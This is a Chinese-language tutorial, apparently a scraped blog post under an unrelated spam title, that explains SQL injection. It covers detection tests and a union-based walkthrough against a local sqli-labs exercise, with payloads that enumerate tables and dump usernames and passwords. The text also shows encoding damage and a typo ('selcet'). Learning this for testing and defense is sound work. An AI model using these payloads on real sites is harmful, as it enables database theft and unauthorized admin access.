海寧網(wǎng)站制作關(guān)鍵詞在線聽(tīng)免費(fèi)
文章目錄
- 1、SQL注入原理
- 2、SQL注入的原因
- 3、SQL注入的危害
- 4、SQL注入基礎(chǔ)
- 4.1 MySQL相關(guān)
- 4.2 SQL注入流程:
- 5、聯(lián)合注入實(shí)例基本步驟
- 6、總結(jié)
1、SQL注入原理
??SQL注入(Sql Injection)就是通過(guò)把SQL命令插入到Web表單提交或輸入域名或頁(yè)面請(qǐng)求的查詢字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令。具體來(lái)說(shuō),它是利用現(xiàn)有應(yīng)用程序,將(惡意的)SQL命令注入到后臺(tái)數(shù)據(jù)庫(kù)引擎執(zhí)行的能力,它可以通過(guò)在Web表單中輸入(惡意)SQL語(yǔ)句得到一個(gè)存在安全漏洞的網(wǎng)站上的數(shù)據(jù)庫(kù),而不是按照設(shè)計(jì)者意圖去執(zhí)行SQL語(yǔ)句。
2、SQL注入的原因
- 程序編寫(xiě)者在處理程序和數(shù)據(jù)庫(kù)交互時(shí),使用字符串拼接的方式構(gòu)造SQL語(yǔ)句;
- 未對(duì)用戶可控參數(shù)進(jìn)行足夠的過(guò)濾便將參數(shù)內(nèi)容拼接進(jìn)入到SQL語(yǔ)句中。
3、SQL注入的危害
- 攻擊者利用SQL注入漏洞,可以獲取數(shù)據(jù)庫(kù)中的多種信息(例如:管理員后臺(tái)密碼),從而脫取數(shù)據(jù)庫(kù)中內(nèi)容(脫庫(kù))。
- 在特別情況下還可以修改數(shù)據(jù)庫(kù)內(nèi)容或者插入內(nèi)容到數(shù)據(jù)庫(kù),如果數(shù)據(jù)庫(kù)權(quán)限分配存在問(wèn)題,或者數(shù)據(jù)庫(kù)本身存在缺陷,那么攻擊者可以通過(guò)SQL注入漏洞直接獲取webshell或者服務(wù)器系統(tǒng)權(quán)限。
4、SQL注入基礎(chǔ)
4.1 MySQL相關(guān)
??在mysql數(shù)據(jù)庫(kù)中存在一個(gè)Information_schema數(shù)據(jù)庫(kù),這個(gè)數(shù)據(jù)庫(kù)里面存在兩張表。一個(gè)是tables表,里面存有所有的表名和數(shù)據(jù)庫(kù)名;另一個(gè)是columns表,里面存有所有的字段名,字段所屬的表名,字段所屬的庫(kù)名。以下是關(guān)于Information_schema數(shù)據(jù)庫(kù)的拓?fù)鋱D:
4.2 SQL注入流程:
??由于關(guān)系型數(shù)據(jù)庫(kù),具有明顯的庫(kù)/表/字段/字段內(nèi)容結(jié)構(gòu)層次,在對(duì)SQL注入漏洞的注入過(guò)程中獲取數(shù)據(jù)庫(kù)信息的時(shí)候,也可以按照這種順序:
數(shù)據(jù)庫(kù)名 ? \longrightarrow ?表名 ? \longrightarrow ?字段名 ? \longrightarrow ?字段內(nèi)容
??手工注入流程:
- 尋找傳參頁(yè)面;
- 判斷是否存在注入點(diǎn);
- 字符型注入?
- 數(shù)字型注入?
- 判斷字段的數(shù)量;
- 判斷字段回顯的位置;
- 查找數(shù)據(jù)庫(kù)名、表名、字段名、字段內(nèi)容;
- 登錄后臺(tái)。
(1)判斷注入點(diǎn)
- and 1=1 / and 1=2 回顯頁(yè)面不同(整形判斷)
- 單引號(hào)判斷 ‘ 顯示數(shù)據(jù)庫(kù)錯(cuò)誤信息或者頁(yè)面回顯不同(整形、字符串類(lèi)型判斷)
- ’ and ‘1’ = '1 / ’ and ‘1’ = '2 回顯頁(yè)面不同(字符型判斷)
- and sleep(5)(判斷頁(yè)面返回時(shí)間,萬(wàn)能)
- 在SQL語(yǔ)句中,
and
的優(yōu)先級(jí)比or
高。- SQL語(yǔ)句注釋:
#
或者--[space]
或者--+
(2) SQL注入分類(lèi)
- 根據(jù)注入點(diǎn)的數(shù)據(jù)類(lèi)型,可分為:
- 數(shù)字型注入
- 字符型注入
??????二者最大的區(qū)別在于:字符型需要閉合,整型不需要閉合。
- 根據(jù)數(shù)據(jù)庫(kù)執(zhí)行的結(jié)果,可分為(四大基本手法):
- 聯(lián)合查詢
- 報(bào)錯(cuò)注入
- 布爾盲注
- 延時(shí)注入
- 根據(jù)數(shù)據(jù)提交的方式,可分為:
- Get注入
- Post注入
- Cookie注入
- HTTP頭部注入
- …
- 其他注入類(lèi)型:
- base64注入
- 寬字節(jié)注入
- 搜索型注入
- 讀寫(xiě)文件
- …
5、聯(lián)合注入實(shí)例基本步驟
??聯(lián)合查詢是可合并多個(gè)相似的選擇查詢的結(jié)果集。等同于將一個(gè)表追加到另一個(gè)表,從而實(shí)現(xiàn)將兩個(gè)表的查詢組合到一起,使用謂詞為UNION
或UNION ALL
。
(1)尋找傳參頁(yè)面,http://xxx.com/index.php?id=1
(2)判斷注入點(diǎn),127.0.0.1/sqli/less-1/index.php?id=1'
可以根據(jù)報(bào)錯(cuò)信息判斷:如果是字符型注入,應(yīng)該閉合什么符號(hào),此處是閉合單引號(hào)。
(3)判斷字段數(shù)量,order by
命令,127.0.0.1/sqli/less-1/index.php?id=1’ order by 3 --+
1后面的‘是為了閉合SQL語(yǔ)句中的引號(hào)
(4)判斷回顯位置,127.0.0.1/sqli/less-1/index.php?id=1’ union selcet 1,2,3 --+
(5)查數(shù)據(jù)庫(kù)名,127.0.0.1/sqli/less-1/index.php?id=1’ union selcet 1,2,database() --+
database()
:查看當(dāng)前數(shù)據(jù)庫(kù)名
(5)表名
- 查表名:
select group_concat(table_name) from information_schema.tables where table_schema='security'
- information_schema.tables:指定information_schema數(shù)據(jù)庫(kù)中的tables表;
- table_schema字段:保存所有的數(shù)據(jù)庫(kù)名;
- table_name字段:保存所有的表名;
- group_concat()函數(shù):輸出所有屬于‘security’數(shù)據(jù)庫(kù)的所有表
(6)字段名
- 查詢字段名:
select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
(7)字段內(nèi)容
- 查詢字段內(nèi)容:
select group_concat(concat(username,'%23',password)) from security.users
concat()函數(shù):拼接。例如:
concat(‘hello’,‘+’,‘world’) ? \longrightarrow ? 輸出:hello+world
6、總結(jié)
??sql注入的基本流程:
- 尋找傳參頁(yè)面;
- 判斷是否存在注入點(diǎn);
- 字符型注入?
- 數(shù)字型注入?
- 判斷字段的數(shù)量;
- 判斷字段回顯的位置;
- 查找數(shù)據(jù)庫(kù)名、表名、字段名、字段內(nèi)容;
- 登錄后臺(tái)。